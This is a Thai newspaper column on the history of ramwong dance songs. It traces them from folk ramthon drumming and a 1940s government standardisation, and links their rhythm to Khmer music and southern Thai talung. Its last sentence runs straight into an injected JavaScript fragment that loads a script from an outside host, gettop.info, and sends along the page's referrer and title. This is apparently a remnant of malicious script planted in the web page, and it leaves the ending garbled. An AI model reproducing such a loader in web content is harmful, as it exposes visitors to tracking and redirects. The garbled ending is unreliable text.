มติชนรายวัน ฉบับประจำวันจันทร์ที่ 14 มีนาคม 2557

 

เพลงรำวง เล่นสงกรานต์ วัฒนธรรมร่วม

          กลองรำวงตีจังหวะรำวง ตรงกับจังหวะเขมร และจังหวะตะลุงภาคใต้ของไทย เพราะมีต้นแบบจากวัฒนธรรมร่วมรากเดียวกัน

          เพลงรำวง เป็นงานสร้างสรรค์ต่อยอดจากรำโทน โดยเพิ่งมีในยุค จอมพล ป. พิบูลสงคราม ราว พ.ศ. 2487 (ปีเกิด ขรรค์ชัย บุนปาน)

          รัฐบาลยุคนั้นมีบัญชากรมศิลปากรปรับปรุงรำโทนให้เป็นวัฒนธรรมบันเทิงที่มีแบบแผนทางการ

          กรมศิลปากรดัดแปลงรำโทน ใส่ท่ารำที่ประดิษฐ์ขึ้นใหม่จากท่ารำนาฏศิลป์พื้นฐาน แล้วใช้เครื่องดนตรีตะวันตกบรรเลงประกอบ แล้วแต่งเนื้อเพลงปลุกใจที่มีทำนองสนุกสนานประกอบท่ารำ เรียกว่า รำวงมาตรฐาน

          ประชาชนนิยมรำวง จึงพากันไปร่วมรำเล่นเพื่อความสนุกสนาน รำเต้นไปตามลีลาที่ตนถนัดโดยไม่ให้ความสำคัญกับท่ารำมากนัก อีกทั้งยังคิดเพลงประกอบตามความชอบ ดังนั้นเพลงรำวงและท่ารำวงจึงเกิดขึ้นมากมายหลายหลาก

          ช่วงสงคราม รำวงเป็นความบันเทิงที่ได้รับความนิยมจากคนทุกระดับ แม้ว่ารัฐบาลต่อมาจะไม่สนับสนุนเพลงปลุกใจหรือเพลงรำวงอีก แต่รำวงคงได้รับความนิยมสืบมา แล้วแพร่กระจายถึงประเทศเพื่อนบ้านจนทุกวันนี้

กลองโทน ใช้ตีในการละเล่นรำโทน (ซ้าย) โทนชาตรี ใช้ตีประกอบเล่นละครชาตรี (ขวา) โทนมโหรี ใช้ตีประกอบในวงมโหรี

          รำโทน หมายถึง ฟ้อนระบำรำเต้นเข้ากับกลองโทนที่ตีเป็นจังหวะสนุกสนาน เป็นการละเล่นของชาวบ้านดึกดำบรรพ์ทั้งสุวรรณภูมิหลายพันปีมาแล้ว นับเป็นวัฒนธรรมร่วมของอาเซียน

          โทน เรียกอีกชื่อว่า ทับ บางทีเรียกซ้อนกันว่า โทนทับ เป็นกลองชนิดหนึ่ง (เครื่องตีขึงหนังหน้าเดียว มีสายโยงเร่งเสียงจากขอบหนังถึงคอ มีหางยื่นออกไป ตอนปลายบานเป็นลำโพง)

          กลองอย่างนี้มีทั่วไปทุกชาติพันธุ์ในภูมิภาคอาเซียน โดยเฉพาะในกลุ่มมอญ-เขมรที่อยู่ใกล้ชายฝั่งทะเลสมุทร แล้วใช้ตีประกอบฟ้อนรำทุกกลุ่มทุกเหล่าเผ่าพันธุ์

          ชาวบ้านยุคอยุธยาตีโทนเล่นเพลงรำเต้นในชีวิตประจำวัน โดยเฉพาะตอนเย็นแดดร่มลมตก มีเอกสารชาวยุโรปบันทึกว่าตอนเย็นได้ยินเสียงกลองตามหมู่บ้าน

          จังหวะ หรือ หน้าทับ ของรำโทน ส่งต่อให้รำวง เมื่อทำลีลาภาษาปากเป็นที่รู้กันว่า ป๊ะ ป๊ะ โท่น โท่น เป็นอย่างเดียวกับจังหวะเขมร และเป็นอันหนึ่งอันเดียวกับจังหวะตะลุงที่ตกค้างทางภาคใต้ของไทย

          คนยุคอยุธยาสายแหรกหลัก คือ ตระกูลไทย-ลาว ปน ตระกูลมอญ-เขมร

          ดังนั้นดนตรียุคอยุธยาจึงมีจังหวะ(หน้าทับ)เขมรเป็นพื้นฐานอย่างหนึ่งในจำนวนหลายๆอย่าง ประกอบการละเล่นละครนอก (คือโนราชาตรี) และหนังตะลุง แล้วแพร่ลงไปตกค้างอยู่ทางภาคใต้เรียกโนรา กับหนังตะลุง}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;